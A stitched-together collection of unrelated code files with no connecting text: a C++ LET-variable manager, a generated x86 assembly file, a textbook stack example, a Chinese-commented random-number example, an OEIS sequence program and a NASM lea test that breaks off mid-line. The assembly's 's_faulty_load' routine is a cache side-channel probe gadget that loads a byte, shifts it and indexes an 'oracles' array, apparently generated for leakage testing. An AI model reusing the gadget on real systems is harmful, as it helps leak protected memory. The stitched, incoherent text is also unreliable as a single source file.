36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
// -*- c++ -*- /******************************************************************** * AUTHORS: Vijay Ganesh, Trevor Hansen * * BEGIN DATE: November, 2005 * * LICENSE: Please view LICENSE file in the home dir of this Program ********************************************************************/ #include <stdlib.h> #include "LetMgr.h" namespace BEEV { // FUNC: This function builds the map between LET-var names and // LET-expressions // //1. if the Let-var is already defined in the LET scope, then the //1. function returns an error. // //2. if the Let-var is already declared variable in the input, then //2. the function returns an error // //3. otherwise add the <var,letExpr> pair to the _letid_expr table. void LETMgr::LetExprMgr(const ASTNode& var, const ASTNode& letExpr) { string name = var.GetName(); MapType::iterator it; if(((it = _letid_expr_map->find(name)) != _letid_expr_map->end())) { FatalError("LetExprMgr:The LET-var v has already been defined"\ "in this LET scope: v =", var); } if(_parser_symbol_table.find(var) != _parser_symbol_table.end()) { FatalError("LetExprMgr:This var is already declared. "\ "cannot redeclare as a letvar: v =", var); } LetExprMgr(var.GetName(),letExpr); }//end of LetExprMgr() void LETMgr::LetExprMgr(string name, const ASTNode& letExpr) { assert (_letid_expr_map->find(name) == _letid_expr_map->end()); (*_letid_expr_map)[name] = letExpr; }//end of LetExprMgr() //this function looks up the "var to letexpr map" and returns the //corresponding letexpr. if there is no letexpr, then it simply //returns the var. ASTNode LETMgr::ResolveID(const ASTNode& v) { if (v.GetKind() != SYMBOL) { return v; } if(_parser_symbol_table.find(v) != _parser_symbol_table.end()) { return v; } MapType::iterator it; if((it =_letid_expr_map->find(v.GetName())) != _letid_expr_map->end()) { return it->second; } return v; }//End of ResolveID() // This function simply cleans up the LetID -> LetExpr Map. void LETMgr::CleanupLetIDMap(void) { // ext/hash_map::clear() is very expensive on big empty maps. shortcut. if (_letid_expr_map->size() ==0) return; // May contain lots of buckets, so reset. delete _letid_expr_map; InitializeLetIDMap(); }//end of CleanupLetIDMap() void LETMgr::InitializeLetIDMap(void) { _letid_expr_map = new hash_map<string,ASTNode, hashF<std::string> >(); } //end of InitializeLetIDMap() };
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x11af4, %rdx nop nop xor $38595, %rdi movups (%rdx), %xmm1 vpextrq $0, %xmm1, %r8 nop nop nop nop nop and %r8, %r8 lea addresses_WT_ht+0x4db4, %rdx nop sub $14083, %r12 mov $0x6162636465666768, %r13 movq %r13, (%rdx) nop nop lfence lea addresses_WT_ht+0xae50, %rsi lea addresses_WT_ht+0x1cf4, %rdi nop nop nop nop inc %rdx mov $73, %rcx rep movsq nop nop nop nop nop cmp %r8, %r8 lea addresses_WC_ht+0xe1a, %rdi clflush (%rdi) nop nop nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %r13 movq %r13, %xmm4 movups %xmm4, (%rdi) cmp $30014, %r13 lea addresses_A_ht+0x1adb4, %r12 nop nop nop nop nop sub %r8, %r8 mov (%r12), %rcx add $47670, %rcx lea addresses_A_ht+0x6af4, %r12 nop nop and $37718, %rsi movb $0x61, (%r12) nop nop nop add $915, %rdx lea addresses_WT_ht+0x17df4, %rsi lea addresses_UC_ht+0xee50, %rdi xor %r15, %r15 mov $26, %rcx rep movsw nop nop nop nop sub %r12, %r12 lea addresses_UC_ht+0x106f4, %rsi lea addresses_WT_ht+0x2af4, %rdi nop nop nop nop dec %r8 mov $101, %rcx rep movsl nop cmp %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x2764, %rsi lea addresses_D+0x56f4, %rdi and $17322, %r11 mov $9, %rcx rep movsb nop nop nop nop inc %r14 // Faulty Load lea addresses_RW+0x1af4, %r15 nop nop nop nop nop inc %r14 movb (%r15), %r12b lea oracles, %r15 and $0xff, %r12 shlq $12, %r12 mov (%r15,%r12,1), %r12 pop %rsi pop %rdi pop %rcx pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
// // This is example code from Chapter 25.3.4 "Stack example" of // "Programming -- Principles and Practice Using C++" by Bjarne Stroustrup // #include <stddef.h> // required for size_t //------------------------------------------------------------------------------ template<int N>class Stack { // stack of N bytes public: Stack(); // make an N byte stack void* get(int n); // allocate n bytes from the stack; // return 0 if no free space void free(); // return the last value returned by get() to the stack int available() const; // number of available bytes private: // space for char[N] and data to keep track of what is allocated // and what is not (e.g. a top of stack pointer) }; //------------------------------------------------------------------------------ class Port; class Buffer; //------------------------------------------------------------------------------ class Connection { public: Connection(Port* in, Port* out, int* buf); void* operator new(size_t size, void* place); }; //------------------------------------------------------------------------------ extern Port* incoming; extern Port* outgoing; //------------------------------------------------------------------------------ int main() { Stack<50*1024> my_free_store; // 50K worth of storage to be used as a stack void* pv1 = my_free_store.get(1024); int* buffer = static_cast<int*>(pv1); void* pv2 = my_free_store.get(sizeof(Connection)); Connection* pconn = new(pv2) Connection(incoming,outgoing,buffer); } //------------------------------------------------------------------------------
#include <iostream> #include <random> using namespace std; int main() { // random_device 引擎不是基于软件的随机数生成器,这个一个 // 特殊引擎,要求计算机连接一个能真正生成不确定随机数的 // 硬件,例如通过物理原理生成。 // 随机数生成器的质量有随机数的熵(entropy)决定。如果 // random_device类使用的是基于软件的伪随机数生成器,那么 // 这个类的entropy()方法返回的值为0.0;如果连接了硬件设备 // 则返回非0,这个值是对连接设备的熵的估计 random_device rnd; cout << "Entropy: " << rnd.entropy() << endl; cout << "Min value: " << rnd.min() << ", Max value: " << rnd.max() << endl; cout << "Random number: " << rnd() << endl; return 0; } // 除random_device外,C++11还定义了其它三个伪随机数引擎 // 线性同余引擎(linear congruential engine),如果需要使用 // 高质量的随机数序列,那么不应该使用线性同余引擎 // 3个伪随机数引擎中,梅森旋转算法(Mersenne, twister)生成的 // 随机数质量最高。 template <class UIntType, size_t w, size_t n, size_t m, size_t r, UIntType a, size_t u, UIntType d, size_t s, UIntType b, size_t t, UIntType c, size_t l, UIntType f> class mersenne_twister_engine { ... }; // 带进位减法(subtract with carry)引擎要求保存25个整数状态 // 随机数的质量不如梅森旋转算法
; A144965: a(n) = 4*n*(4*n^2+1). ; 0,20,136,444,1040,2020,3480,5516,8224,11700,16040,21340,27696,35204,43960,54060,65600,78676,93384,109820,128080,148260,170456,194764,221280,250100,281320,315036,351344,390340,432120,476780,524416,575124,629000,686140,746640,810596,878104,949260,1024160,1102900,1185576,1272284,1363120,1458180,1557560,1661356,1769664,1882580,2000200,2122620,2249936,2382244,2519640,2662220,2810080,2963316,3122024,3286300,3456240,3631940,3813496,4001004,4194560,4394260,4600200,4812476,5031184,5256420,5488280,5726860,5972256,6224564,6483880,6750300,7023920,7304836,7593144,7888940,8192320,8503380,8822216,9148924,9483600,9826340,10177240,10536396,10903904,11279860,11664360,12057500,12459376,12870084,13289720,13718380,14156160,14603156,15059464,15525180 mov $1,$0 pow $1,3 mul $1,4 add $0,$1 mul $0,4
SECTION .text GLOBAL test test: lea rax, [rax+3] lea rax, [rax+0x3] lea rax, [rax+0x1] lea rax, [rax + 1*rax] lea rax, [rcx + rax+0x7f] lea rax, [rcx + rax+0x80] lea rax, [rcx + rax+0xffffff] lea rax, [rcx + rax+0x1] lea rax, [rbp + 1*rax+0xff] lea rax, [rbp + r10*1+0xff] lea eax, [ecx + eax+0x7f] lea eax, [ecx + eax+0x80] lea eax, [ecx + eax+0xffffff] lea eax, [ecx + eax+0x1] lea eax, [ebp + eax+0xff] lea eax, [ebp + eax+0xff] lea eax, [ebp + 4*eax+0xff] lea eax, [r15d + 4*eax+0xff] lea eax, [r15d + eax*4+0xff] lea eax, [ecx + eax*2+0x7f] lea eax, [ecx + 2*eax+0x80] lea eax, [ecx + 8*eax+0xffffff] lea rax, [rsp+2*r14] lea eax, [ecx + eax*8+0x1] lea eax, [ebp + eax+0xff] lea eax, [ebp + eax+0xff] lea rax, [rbp + rsp*1] ; this instruction is nasm compatible lea rax, [rbp + rsp] ; and so is this one lea rax, [rax + rax + 0xff] lea rax, [rax + rbx + 0xff] lea rax, [rax + rcx + 0xff] lea rax, [rax + rdx + 0xff] lea rax, [rax + rdi + 0xff] lea rax, [rax + r8 + 0xff] lea rax, [rax + r9 + 0xff] lea rax, [rax + r10 + 0xff] lea rax, [rax + r11 + 0xff] lea rax, [rax + r12 + 0xff] lea rax, [rax + r13 + 0xff] lea rax, [rax + r14 + 0xff] lea rax, [rax + r15 + 0xff] lea rax, [rax + rsp + 0xff] lea rax, [rax + rsi + 0xff] lea rax, [rax + rbp + 0xff] lea rax, [rbx + rax + 0xff] lea rax, [rbx + rbx + 0xff] lea rax, [rbx + rcx + 0xff] lea rax, [rbx + rdx + 0xff] lea rax, [rbx + rdi + 0xff] lea rax, [rbx + r8 + 0xff] lea rax, [rbx + r9 + 0xff] lea rax, [rbx + r10 + 0xff] lea rax, [rbx + r11 + 0xff] lea rax, [rbx + r12 + 0xff] lea rax, [rbx + r13 + 0xff] lea rax, [rbx + r14 + 0xff] lea rax, [rbx + r15 + 0xff] lea rax, [rbx + rsp + 0xff] lea rax, [rbx + rsi + 0xff] lea rax, [rbx + rbp + 0xff] lea rax, [rcx + rax + 0xff] lea rax, [rcx + rbx + 0xff] lea rax, [rcx + rcx + 0xff] lea rax, [rcx + rdx + 0xff] lea rax, [rcx + rdi + 0xff] lea rax, [rcx + r8 + 0xff] lea rax, [rcx + r9 + 0xff] lea rax, [rcx + r10 + 0xff] lea rax, [rcx + r11 + 0xff] lea rax, [rcx + r12 + 0xff] lea rax, [rcx + r13 + 0xff] lea rax, [rcx + r14 + 0xff] lea rax, [rcx + r15 + 0xff] lea rax, [rcx + rsp + 0xff] lea rax, [rcx + rsi + 0xff] lea rax, [rcx + rbp + 0xff] lea rax, [rdx + rax + 0xff] lea rax, [rdx + rbx + 0xff] lea rax, [rdx + rcx + 0xff] lea rax, [rdx + rdx + 0xff] lea rax, [rdx + rdi + 0xff] lea rax, [rdx + r8 + 0xff] lea rax, [rdx + r9 + 0xff] lea rax, [rdx + r10 + 0xff] lea rax, [rdx + r11 + 0xff] lea rax, [rdx + r12 + 0xff] lea rax, [rdx + r13 + 0xff] lea rax, [rdx + r14 + 0xff] lea rax, [rdx + r15 + 0xff] lea rax, [rdx + rsp + 0xff] lea rax, [rdx + rsi + 0xff] lea rax, [rdx + rbp + 0xff] lea rax, [rdi + rax + 0xff] lea rax, [rdi + rbx + 0xff] lea rax, [rdi + rcx + 0xff] lea rax, [rdi + rdx + 0xff] lea rax, [rdi + rdi + 0xff] lea rax, [rdi + r8 + 0xff] lea rax, [rdi + r9 + 0xff] lea rax, [rdi + r10 + 0xff] lea rax, [rdi + r11 + 0xff] lea rax, [rdi + r12 + 0xff] lea rax, [rdi + r13 + 0xff] lea rax, [rdi + r14 + 0xff] lea rax, [rdi + r15 + 0xff] lea rax, [rdi + rsp + 0xff] lea rax, [rdi + rsi + 0xff] lea rax, [rdi + rbp + 0xff] lea rax, [r8 + rax + 0xff] lea rax, [r8 + rbx + 0xff] lea rax, [r8 + rcx + 0xff] lea rax, [r8 + rdx + 0xff] lea rax, [r8 + rdi + 0xff] lea rax, [r8 + r8 + 0xff] lea rax, [r8 + r9 + 0xff] lea rax, [r8 + r10 + 0xff] lea rax, [r8 + r11 + 0xff] lea rax, [r8 + r12 + 0xff] lea rax, [r8 + r13 + 0xff] lea rax, [r8 + r14 + 0xff] lea rax, [r8 + r15 + 0xff] lea rax, [r8 + rsp + 0xff] lea rax, [r8 + rsi + 0xff] lea rax, [r8 + rbp + 0xff] lea rax, [r9 + rax + 0xff] lea rax, [r9 + rbx + 0xff] lea rax, [r9 + rcx + 0xff] lea rax, [r9 + rdx + 0xff] lea rax, [r9 + rdi + 0xff] lea rax, [r9 + r8 + 0xff] lea rax, [r9 + r9 + 0xff] lea rax, [r9 + r10 + 0xff] lea rax, [r9 + r11 + 0xff] lea rax, [r9 + r12 + 0xff] lea rax, [r9 + r13 + 0xff] lea rax, [r9 + r14 + 0xff] lea rax, [r9 + r15 + 0xff] lea rax, [r9 + rsp + 0xff] lea rax, [r9 + rsi + 0xff] lea rax, [r9 + rbp + 0xff] lea rax, [r10 + rax + 0xff] lea rax, [r10 + rbx + 0xff] lea rax, [r10 + rcx + 0xff] lea rax, [r10 + rdx + 0xff] lea rax, [r10 + rdi + 0xff] lea rax, [r10 + r8 + 0xff] lea rax, [r10 + r9 + 0xff] lea rax, [r10 + r10 + 0xff] lea rax, [r10 + r11 + 0xff] lea rax, [r10 + r12 + 0xff] lea rax, [r10 + r13 + 0xff] lea rax, [r10 + r14 + 0xff] lea rax, [r10 + r15 + 0xff] lea rax, [r10 + rsp + 0xff] lea rax, [r10 + rsi + 0xff] lea rax, [r10 + rbp + 0xff] lea rax, [r11 + rax + 0xff] lea rax, [r11 + rbx + 0xff] lea rax, [r11 + rcx + 0xff] lea rax, [r11 + rdx + 0xff] lea rax, [r11 + rdi + 0xff] lea rax, [r11 + r8 + 0xff] lea rax, [r11 + r9 + 0xff] lea rax, [r11 + r10 + 0xff] lea rax, [r11 + r11 + 0xff] lea rax, [r11 + r12 + 0xff] lea rax, [r11 + r13 + 0xff] lea rax, [r11 + r14 + 0xff] lea rax, [r11 + r15 + 0xff] lea rax, [r11 + rsp + 0xff] lea rax, [r11 + rsi + 0xff] lea rax, [r11 + rbp + 0xff] lea rax, [r12 + rax + 0xff] lea rax, [r12 + rbx + 0xff] lea rax, [r12 + rcx + 0xff] lea rax, [r12 + rdx + 0xff] lea rax, [r12 + rdi + 0xff] lea rax, [r12 + r8 + 0xff] lea rax, [r12 + r9 + 0xff] lea rax, [r12 + r10 + 0xff] lea rax, [r12 + r11 + 0xff] lea rax, [r12 + r12 + 0xff] lea rax, [r12 + r13 + 0xff] lea rax, [r12 + r14 + 0xff] lea rax, [r12 + r15 + 0xff] lea rax, [r12 + rsp + 0xff] lea rax, [r12 + rsi + 0xff] lea rax, [r12 + rbp + 0xff] lea rax, [r13 + rax + 0xff] lea rax, [r13 + rbx + 0xff] lea rax, [r13 + rcx + 0xff] lea rax, [r13 + rdx + 0xff] lea rax, [r13 + rdi + 0xff] lea rax, [r13 + r8 + 0xff] lea rax, [r13 + r9 + 0xff] lea rax, [r13 + r10 + 0xff] lea rax, [r13 + r11 + 0xff] lea rax, [r13 + r12 + 0xff] lea rax, [r13 + r13 + 0xff] lea rax, [r13 + r14 + 0xff] lea rax, [r13 + r15 + 0xff] lea rax, [r13 + rsp + 0xff] lea rax, [r13 + rsi + 0xff] lea rax, [r13 + rbp + 0xff] lea rax, [r14 + rax + 0xff] lea rax, [r14 + rbx + 0xff] lea rax, [r14 + rcx + 0xff] lea rax, [r14 + rdx + 0xff] lea rax, [r14 + rdi + 0xff] lea rax, [r14 + r8 + 0xff] lea rax, [r14 + r9 + 0xff] lea rax, [r14 + r10 + 0xff] lea rax, [r14 + r11 + 0xff] lea rax, [r14 + r12 + 0xff] lea rax, [r14 + r13 + 0xff] lea rax, [r14 + r14 + 0xff] lea rax, [r14 + r15 + 0xff] lea rax, [r14 + rsp + 0xff] lea rax, [r14 + rsi + 0xff] lea rax, [r14 + rbp + 0xff] lea rax, [r15 + rax + 0xff] lea rax, [r15 + rbx + 0xff] lea rax, [r15 + rcx + 0xff] lea rax, [r15 + rdx + 0xff] lea rax, [r15 + rdi + 0xff] lea rax, [r15 + r8 + 0xff] lea rax, [r15 + r9 + 0xff] lea rax, [r15 + r10 + 0xff] lea rax, [r15 + r11 + 0xff] lea rax, [r15 + r12 + 0xff] lea rax, [r15 + r13 + 0xff] lea rax, [r15 + r14 + 0xff] lea rax, [r15 + r15 + 0xff] lea rax, [r15 + rsp + 0xff] lea rax, [r15 + rsi + 0xff] lea rax, [r15 + rbp + 0xff] lea rax, [rsp + rax + 0xff] lea rax, [rsp + rbx + 0xff] lea rax, [rsp + rcx + 0xff] lea rax, [rsp + rdx + 0xff] lea rax, [rsp + rdi + 0xff] lea rax, [rsp + r8 + 0xff] lea rax, [rsp + r9 + 0xff] lea rax, [rsp + r10 + 0xff] lea rax, [rsp + r11 + 0xff] lea rax, [rsp + r12 + 0xff] lea rax, [rsp + r13 + 0xff] lea rax, [rsp + r14 + 0xff] lea rax, [rsp + r15 + 0xff] lea rax, [rsp + rsi + 0xff] lea rax, [rsp + rbp + 0xff] lea rax, [rsi + rax + 0xff] lea rax, [rsi + rbx + 0xff] lea rax, [rsi + rcx + 0xff] lea rax, [rsi + rdx + 0xff] lea rax, [rsi + rdi + 0xff] lea rax, [rsi + r8 + 0xff] lea rax, [rsi + r9 + 0xff] lea rax, [rsi + r10 + 0xff] lea rax, [rsi + r11 + 0xff] lea rax, [rsi + r12 + 0xff] lea rax, [rsi + r13 + 0xff] lea rax, [rsi + r14 + 0xff] lea rax, [rsi + r15 + 0xff] lea rax, [rsi + rsp + 0xff] lea rax, [rsi + rsi + 0xff] lea rax, [rsi + rbp + 0xff] lea rax, [rbp + rax + 0xff] lea rax, [rbp + rbx + 0xff] lea rax, [rbp + rcx + 0xff] lea rax, [rbp + rdx + 0xff] lea rax, [rbp + rdi + 0xff] lea rax, [rbp + r8 + 0xff] lea rax, [rbp + r9 + 0xff] lea rax, [rbp + r10 + 0xff] lea rax, [rbp + r11 + 0xff] lea rax, [rbp + r12 + 0xff] lea rax, [rbp + r13 + 0xff] lea rax, [rbp + r14 + 0xff] lea rax, [rbp + r15 + 0xff] lea rax, [rbp + rsp + 0xff] lea rax, [rbp + rsi + 0xff] lea rax, [rbp + rbp + 0xff] lea rbx, [rax + rax + 0xff] lea rbx, [rax + rbx + 0xff] lea rbx, [rax + rcx + 0xff] lea rbx, [rax + rdx + 0xff] lea rbx, [rax + rdi + 0xff] lea rbx, [rax + r8 + 0xff] lea rbx, [rax + r9 + 0xff] lea rbx, [rax + r10 + 0xff] lea rbx, [rax + r11 + 0xff] lea rbx, [rax + r12 + 0xff] lea rbx, [rax + r13 + 0xff] lea rbx, [rax + r14 + 0xff] lea rbx, [rax + r15 + 0xff] lea rbx, [rax + rsp + 0xff] lea rbx, [rax + rsi + 0xff] lea rbx, [rax + rbp + 0xff] lea rbx, [rbx + rax + 0xff] lea rbx, [rbx + rbx + 0xff] lea rbx, [rbx + rcx + 0xff] lea rbx, [rbx + rdx + 0xff] lea rbx, [rbx + rdi + 0xff] lea rbx, [rbx + r8 + 0xff] lea rbx, [rbx + r9 + 0xff] lea rbx, [rbx + r10 + 0xff] lea rbx, [rbx + r11 + 0xff] lea rbx, [rbx + r12 + 0xff] lea rbx, [rbx + r13 + 0xff] lea rbx, [rbx + r14 + 0xff] lea rbx, [rbx + r15 + 0xff] lea rbx, [rbx + rsp + 0xff] lea rbx, [rbx + rsi + 0xff] lea rbx, [rbx + rbp + 0xff] lea rbx, [rcx + rax + 0xff] lea rbx, [rcx + rbx + 0xff] lea rbx, [rcx + rcx + 0xff] lea rbx, [rcx + rdx + 0xff] lea rbx, [rcx + rdi + 0xff] lea rbx, [rcx + r8 + 0xff] lea rbx, [rcx + r9 + 0xff] lea rbx, [rcx + r10 + 0xff] lea rbx, [rcx + r11 + 0xff] lea rbx, [rcx + r12 + 0xff] lea rbx, [rcx + r13 + 0xff] lea rbx, [rcx + r14 + 0xff] lea rbx, [rcx + r15 + 0xff] lea rbx, [rcx + rsp + 0xff] lea rbx, [rcx + rsi + 0xff] lea rbx, [rcx + rbp + 0xff] lea rbx, [rdx + rax + 0xff] lea rbx, [rdx + rbx + 0xff] lea rbx, [rdx + rcx + 0xff] lea rbx, [rdx + rdx + 0xff] lea rbx, [rdx + rdi + 0xff] lea rbx, [rdx + r8 + 0xff] lea rbx, [rdx + r9 + 0xff] lea rbx, [rdx + r10 + 0xff] lea rbx, [rdx + r11 + 0xff] lea rbx, [rdx + r12 + 0xff] lea rbx, [rdx + r13 + 0xff] lea rbx, [rdx + r14 + 0xff] lea rbx, [rdx + r15 + 0xff] lea rbx, [rdx + rsp + 0xff] lea rbx, [rdx + rsi + 0xff] lea rbx, [rdx + rbp + 0xff] lea rbx, [rdi + rax + 0xff] lea rbx, [rdi + rbx + 0xff] lea rbx, [rdi + rcx + 0xff] lea rbx, [rdi + rdx + 0xff] lea rbx, [rdi + rdi + 0xff] lea rbx, [rdi + r8 + 0xff] lea rbx, [rdi + r9 + 0xff] lea rbx, [rdi + r10 + 0xff] lea rbx, [rdi + r11 + 0xff] lea rbx, [rdi + r12 + 0xff] lea rbx, [rdi + r13 + 0xff] lea rbx, [rdi + r14 + 0xff] lea rbx, [rdi + r15 + 0xff] lea rbx, [rdi + rsp + 0xff] lea rbx, [rdi + rsi + 0xff] lea rbx, [rdi + rbp + 0xff] lea rbx, [r8 + rax + 0xff] lea rbx, [r8 + rbx + 0xff] lea rbx, [r8 + rcx + 0xff] lea rbx, [r8 + rdx + 0xff] lea rbx, [r8 + rdi + 0xff] lea rbx, [r8 + r8 + 0xff] lea rbx, [r8 + r9 + 0xff] lea rbx, [r8 + r10 + 0xff] lea rbx, [r8 + r11 + 0xff] lea rbx, [r8 + r12 + 0xff] lea rbx, [r8 + r13 + 0xff] lea rbx, [r8 + r14 + 0xff] lea rbx, [r8 + r15 + 0xff] lea rbx, [r8 + rsp + 0xff] lea rbx, [r8 + rsi + 0xff] lea rbx, [r8 + rbp + 0xff] lea rbx, [r9 + rax + 0xff] lea rbx, [r9 + rbx + 0xff] lea rbx, [r9 + rcx + 0xff] lea rbx, [r9 + rdx + 0xff] lea rbx, [r9 + rdi + 0xff] lea rbx, [r9 + r8 + 0xff] lea rbx, [r9 + r9 + 0xff] lea rbx, [r9 + r10 + 0xff] lea rbx, [r9 + r11 + 0xff] lea rbx, [r9 + r12 + 0xff] lea rbx, [r9 + r13 + 0xff] lea rbx, [r9 + r14 + 0xff] lea rbx, [r9 + r15 + 0xff] lea rbx, [r9 + rsp + 0xff] lea rbx, [r9 + rsi + 0xff] lea rbx, [r9 + rbp + 0xff] lea rbx, [r10 + rax + 0xff] lea rbx, [r10 + rbx + 0xff] lea rbx, [r10 + rcx + 0xff] lea rbx, [r10 + rdx + 0xff] lea rbx, [r10 + rdi + 0xff] lea rbx, [r10 + r8 + 0xff] lea rbx, [r10 + r9 + 0xff] lea rbx, [r10 + r10 + 0xff] lea rbx, [r10 + r11 + 0xff] lea rbx, [r10 + r12 + 0xff] lea rbx, [r10 + r13 + 0xff] lea rbx, [r10 + r14 + 0xff] lea rbx, [r10 + r15 + 0xff] lea rbx, [r10 + rsp + 0xff] lea rbx, [r10 + rsi + 0xff] lea rbx, [r10 + rbp + 0xff] lea rbx, [r11 + rax + 0xff] lea rbx, [r11 + rbx + 0xff] lea rbx, [r11 + rcx + 0xff] lea rbx, [r11 + rdx + 0xff] lea rbx, [r11 + rdi + 0xff] lea rbx, [r11 + r8 + 0xff] lea rbx, [r11 + r9 + 0xff] lea rbx, [r11 + r10 + 0xff] lea rbx, [r11 + r11 + 0xff] lea rbx, [r11 + r12 + 0xff] lea rbx, [r11 + r13 + 0xff] lea rbx, [r11 + r14 + 0xff] lea rbx, [r11 + r15 + 0xff] lea rbx, [r11 + rsp + 0xff] lea rbx, [r11 + rsi + 0xff] lea rbx, [r11 + rbp + 0xff] lea rbx, [r12 + rax + 0xff] lea rbx, [r12 + rbx + 0xff] lea rbx, [r12 + rcx + 0xff] lea rbx, [r12 + rdx + 0xff] lea rbx, [r12 + rdi + 0xff] lea rbx, [r12 + r8 + 0xff] lea rbx, [r12 + r9 + 0xff] lea rbx, [r12 + r10 + 0xff] lea rbx, [r12 + r11 + 0xff] lea rbx, [r12 + r12 + 0xff] lea rbx, [r12 + r13 + 0xff] lea rbx, [r12 + r14 + 0xff] lea rbx, [r12 + r15 + 0xff] lea rbx, [r12 + rsp + 0xff] lea rbx, [r12 + rsi + 